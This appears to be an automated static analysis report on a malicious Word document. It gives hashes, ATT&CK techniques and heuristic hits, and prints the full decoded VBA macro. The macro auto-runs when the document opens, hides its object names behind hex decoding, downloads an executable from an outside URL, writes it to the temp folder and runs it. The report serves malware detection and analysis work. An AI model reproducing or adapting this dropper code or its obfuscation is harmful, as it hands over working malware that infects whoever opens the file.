Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 38e14668c5676fd5…

MALICIOUS

Office (OLE)

33.0 KB Created: 2014-10-12 15:56:00 Authoring application: Microsoft Office Word First seen: 2014-10-17
MD5: e08eecb6981efe39911848797e33d440 SHA-1: 3dfb4071737916bc47e256f496d9f926493e780e SHA-256: 38e14668c5676fd53234abc8128ba16b2f5b19ccadaa6dda75c3a2bf9480d285
332 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Word document containing obfuscated VBA macros. The Auto_Open and Workbook_Open macros trigger the execution of a script that uses CreateObject("WScript.Shell") and CreateObject("ADODB.Stream") to download a second-stage executable from the URL "http://pro-pose-photography.co.uk/fair/1.exe" and save it to disk for execution. This indicates a downloader functionality.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write yU95trfc.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set zccccccF = CreateObject(nugupwoilug("575363") + "ript.Sh" + "ell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set zccccccF = CreateObject(nugupwoilug("575363") + "ript.Sh" + "ell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Ve4vfC = Environ(nugupwoilug("54454D50"))
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4137 bytes
SHA-256: 43091059f63592940624a5e4cf871d2871ba868b76bfb6f78bfaa81e8edd585b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
GoTo zyonicwewvh
Dim jrtyjkokivl As String
Open nugupwoilug("76787A7A7167726B6E6168") For Binary As #60166
Put #60166, , jrtyjkokivl
Close #60166
zyonicwewvh:
    v45
End Sub
Sub AutoOpen()
GoTo cshavpegdgv
Dim pxmmhctorjb As String
Open nugupwoilug("6E61767979646674706264") For Binary As #5606
Put #5606, , pxmmhctorjb
Close #5606
cshavpegdgv:
    Auto_Open
End Sub
Sub Workbook_Open()
GoTo thmjlsnjzua
Dim afcvmtjfmuf As String
Open nugupwoilug("6777626F70626B6D727A66") For Binary As #41353
Put #41353, , afcvmtjfmuf
Close #41353
thmjlsnjzua:
    Auto_Open
End Sub
Sub v45()
Dim hU89tGOFe3 As String
Dim z7GfitrgoFI As Integer
Dim Ljgf43tFU As Integer
Dim zccccccF

GoTo smrfjtcvqiq
Dim cltsrpyegyy As String
Open nugupwoilug("7173767A726F797170636E") For Binary As #13796
Put #13796, , cltsrpyegyy
Close #13796
smrfjtcvqiq:
Set zccccccF = CreateObject(nugupwoilug("575363") + "ript.Sh" + "ell")

u6RF = nugupwoilug("687474703A2F2F70726F2D706F73652D70686F746F6772617068792E636F2E756B2F666169722F312E657865")

Dim hbo34

GoTo fxlkdemvdlp
Dim ipgbzbjpllx As String
Open nugupwoilug("6D7879746D64616A697477") For Binary As #80969
Put #80969, , ipgbzbjpllx
Close #80969
fxlkdemvdlp:
Set hbo34 = CreateObject(nugupwoilug("4164") + "odb" + ".St" + "ream")

Dim yU95trfc

GoTo bouhyobiwcq
Dim wuechfhtivr As String
Open nugupwoilug("64697379766D666D7A7378") For Binary As #59777
Put #59777, , wuechfhtivr
Close #59777
bouhyobiwcq:
Set yU95trfc = CreateObject(nugupwoilug("4D6963") + "ros" + "oft.XML" + "HTTP")

GoTo jjyntkklosr
Dim zgwyfxugvdu As String
Open nugupwoilug("7567757861656975776B6B") For Binary As #19545
Put #19545, , zgwyfxugvdu
Close #19545
jjyntkklosr:
Ve4vfC = Environ(nugupwoilug("54454D50"))

GoTo oyvgabcepqa
Dim grpxoqflbqf As String
Open nugupwoilug("657670626C75707765746B") For Binary As #92423
Put #92423, , grpxoqflbqf
Close #92423
oyvgabcepqa:
yU95trfc.Open nugupwoilug("474554"), u6RF, False

GoTo wnphogazgid
Dim gkzgbwzlnyk As String
Open nugupwoilug("7168677268706D6F6B7870") For Binary As #39162
Put #39162, , gkzgbwzlnyk
Close #39162
wnphogazgid:
yU95trfc.Send

GoTo eefdrfxjavo
Dim hzfspltcccv As String
Open nugupwoilug("796F68626872766479736F") For Binary As #7132
Put #7132, , hzfspltcccv
Close #7132
eefdrfxjavo:
With hbo34

.Type = 1

GoTo rpyqtdgzble
Dim mowmgueidly As String
Open nugupwoilug("6E6E766A6F6465746A7467") For Binary As #83313
Put #83313, , mowmgueidly
Close #83313
rpyqtdgzble:
.Open

GoTo gfewgqlsqut
Dim psjscvinyuu As String
Open nugupwoilug("636B6C7679686F78647869") For Binary As #56420
Put #56420, , psjscvinyuu
Close #56420
gfewgqlsqut:
.write yU95trfc.responseBody

GoTo jickmldyhvd
Dim zyonicwewvh As String
Open nugupwoilug("737A716B7961796A716175") For Binary As #50521
Put #50521, , zyonicwewvh
Close #50521
jickmldyhvd:
.SaveToFile Ve4vfC & nugupwoilug("5C3866766B2E657865"), 2

End With

GoTo atdjeyaqtqz
Dim xcdgoxxnlln As String
Open nugupwoilug("6775766C65626F6E65796D") For Binary As #46327
Put #46327, , xcdgoxxnlln
Close #46327
atdjeyaqtqz:
pJBvu8f = Ve4vfC & nugupwoilug("5C3866766B2E657865")

GoTo mkfioyiwyyb
Dim thmjlsnjzua As String
Open nugupwoilug("6C71746A6270776E627A74") For Binary As #31808
Put #31808, , thmjlsnjzua
Close #31808
mkfioyiwyyb:
tFCVUV8eg = nugupwoilug("7A636363636363462E52756E")

GoTo khpcsjvuazu
Dim cfyepzgrhzp As String
Open nugupwoilug("786A706D746A70647A6E79") For Binary As #55434
Put #55434, , cfyepzgrhzp
Close #55434
khpcsjvuazu:
zccccccF.Run (pJBvu8f)

End Sub


Public Function nugupwoilug(ByVal sData As String) As String
  Dim i       As Long
  For i = 1 To Len(sData) Step 2
  nugupwoilug = nugupwoilug & Chr$(Val("&H" & Mid$(sData, i, 2)))
  Next i
 End Function

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